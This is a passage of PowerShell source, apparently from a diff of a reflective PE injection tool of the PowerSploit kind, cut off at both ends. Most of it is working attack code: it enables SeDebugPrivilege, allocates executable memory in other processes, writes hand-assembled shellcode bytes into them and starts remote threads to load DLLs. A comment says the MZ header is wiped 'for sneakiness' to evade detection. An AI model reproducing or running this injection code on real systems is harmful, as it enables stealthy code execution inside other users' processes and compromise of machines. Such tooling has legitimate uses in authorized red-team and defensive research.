Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = 